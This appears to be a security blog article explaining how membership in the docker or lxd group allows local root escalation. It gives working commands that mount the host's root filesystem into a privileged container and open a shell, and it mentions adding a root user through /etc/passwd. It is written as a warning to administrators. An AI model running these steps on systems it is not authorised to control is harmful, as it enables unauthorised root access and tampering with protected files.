Privilege Escalation Using the Docker/LXD groups


Both Docker and LXD are software platforms for building applications in containers, which are small, lightweight environments. Containers are isolated from other processes, operating system resources and the kernel. Some Docker/LXD features require the daemon to be run with superuser privileges –features like port binding, mounting filesystems etc.

The Problem

Both daemons bind to a Unix socket instead of a TCP port. By default, that socket is owned by the root user, which means that other users can only access it by using sudo.

Some less-experienced administrators might think that it’s a good idea to add regular users (who aren’t in the sudo group) to the docker/lxd group so they can run Docker/LXD commands. However, both of these groups grant privileged access without providing auditing and logging of use of these privileges. By contrast, sudo provides auditing and logging of privileged access mediated through it.

There is a warning about this in the official documentation of Docker and LXD.

Mounting Files and Directories

Both Docker and LXD allow developers to mount files or directories. Mounting a directory to a virtual machine means that both the host and VM share that directory. Any changes made in the directory in the host will propagate to the client and vice versa.

The file or directory is referenced by its full or relative path on the host machine.

Exploitation

Because Docker and LXD run under root, a user in the Docker/LXD group can mount the host machine’s root directory to a container. That allows the user to read files that were previously only accessible for privileged users. Of course, users can also write to these files or create a new user with root privileges. That can be done by modifying the /etc/passwd file.

An Example Using Docker:

  1. A developer can create a container, mount a directory and run the container using only one command:
    • docker run -v /:/hostOS -it ubuntu

    • docker run runs a container
    • the -v flag indicates that a volume will be mounted
    • / is the root directory on the host machine
    • hostOS is the location in the container where the directory will be mounted
    • -it tells Docker to provide an interactive terminal
    • ubuntu is the image used for this particular example

An Example Using LXD:

  1. The first step is to create a container:
    • lxc init ubuntu:16.04 exploit -c security.privileged=true

    • lxc init ubuntu:16.04 exploit creates a new Ubuntu container named exploit
    • -c security.privileged=true gives the container access to the host’s hard drive
  2. Next, mount the root of the host into the container:
    • lxc config device add exploit foo disk source=/ path=/mnt/root recursive=true

    • lxc config device add exploit foo disk adds a disk called foo to the container named exploit
    • source=/ specifies that the root directory in the host filesystem should be mounted
    • path=/mnt/root specifies where the host filesystem will be mounted inside the container
    • recursive=true specifies that the directories should be added recursively
  3. Run the container:
    • lxc start exploit
    • lxc exec exploit bash creates an interactive shell in the container

Conclusion

Both Docker and LXD run under root. Developers should not allow any non-privileged users to run Docker/LXD commands by adding them to the Docker/LXD group. If this is allowed, they will be able to mount the host machine’s root directory into a container. That means that these users will now be able to read and write to files that should only be accessible to privileged users.

Frederick Liin